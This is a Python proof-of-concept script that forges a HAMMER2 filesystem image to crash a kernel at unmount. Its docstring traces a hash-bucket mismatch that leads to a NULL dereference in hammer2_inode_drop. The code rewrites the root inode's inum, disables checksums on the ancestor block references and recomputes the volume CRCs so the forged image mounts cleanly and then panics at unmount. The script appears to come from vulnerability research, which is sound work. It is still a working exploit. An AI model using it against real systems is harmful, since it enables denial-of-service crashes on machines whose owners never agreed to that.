DF-2635 / forge_2635.py
#!/usr/bin/env python3 """ DF-2635 PoC image forger. Root cause chain (verified in sys/): hammer2_inode_get(pmp, NULL, 1, -1) (hammer2_inode.c:933,954-977) -> hashes the fresh iroot under bucket inumhash(pmp, 1) hammer2_pfsalloc(): iroot->meta = ripdata->meta (hammer2_vfsops.c:456) hammer2_vfs_root(): pmp->iroot->meta = *meta (hammer2_vfsops.c:1975) -> wholesale meta copy from the ON-MEDIA PFS root inode, AFTER the inode is already indexed on the inum hash under inum=1. If the on-media meta.inum != 1, the in-memory inode now sits on the WRONG hash bucket. At unmount: hammer2_vfs_unmount -> hammer2_pfsfree (vfsops.c:707-711) -> hammer2_inode_drop(iroot) (inode.c:592) hash = inumhash(pmp, ip->meta.inum) /* WRONG bucket */ (:617) while (*xipp != ip) xipp = &(*xipp)->next; (:624-625) walks off the end of the wrong bucket's list and dereferences NULL (next is the first field of hammer2_inode, so xipp degenerates to NULL). This forger flips meta.inum (inode block +0x58) of the mounted PFS root inode ('testvol') to 0x42 (different hash bucket than 1), sets CHECK_NONE on the ancestor brefs, and recomputes the volume header CRCs -- the same technique proven in DF-2616/DF-2624. Expected: mount succeeds, ls works, umount panics with a NULL deref in hammer2_inode_drop. """ import struct, sys sys.path.insert(0, '/root/poc/df2635') from h2common import * BAD_INUM = 0x42 def main(): base, out = sys.argv[1:3] img = bytearray(open(base, 'rb').read()) vols, sbr = find_sroot(img) sblk, kids = sroot_children(img, sbr) for br in kids: tag = "" if br['type'] == T_INODE and (br['data_off'] & RADIX_MASK): tag = " name=%r" % inode_name(img, br['data_off'] & ~RADIX_MASK) print("[walk] sroot slot @ %#x: type=%d key=%#x data_off=%#x%s" % (br['off'], br['type'], br['key'], br['data_off'], tag)) target = None for br in kids: if br['type'] == T_INODE and (br['data_off'] & RADIX_MASK): if inode_name(img, br['data_off'] & ~RADIX_MASK) == b'testvol': target = br assert target, "testvol PFS inode not found under sroot" tblk = target['data_off'] & ~RADIX_MASK old_inum = struct.unpack_from('<Q', img, tblk + 0x58)[0] old_type = img[tblk + 0x50] print("[walk] testvol inode @ %#x inum=%#x type=%d" % (tblk, old_inum, old_type)) assert old_type == 1, "expected DIRECTORY" # flip meta.inum -> 0x42 (bucket 0x42 != bucket 1) struct.pack_into('<Q', img, tblk + 0x58, BAD_INUM) print("[+] meta.inum %#x -> %#x" % (old_inum, BAD_INUM)) # ancestors: CHECK_NONE so the modified inode block passes chain check struct.pack_into('<B', img, target['off'] + 0x01, 0x00) struct.pack_into('<Q', img, target['off'] + 0x10, 0) # mirror_tid=0 for v in vols: struct.pack_into('<B', img, v + 0x201, 0x00) # sroot CHECK_NONE recompute_volhdr_crcs(img) open(out, 'wb').write(img) print("[+] wrote %s" % out) if __name__ == '__main__': main() |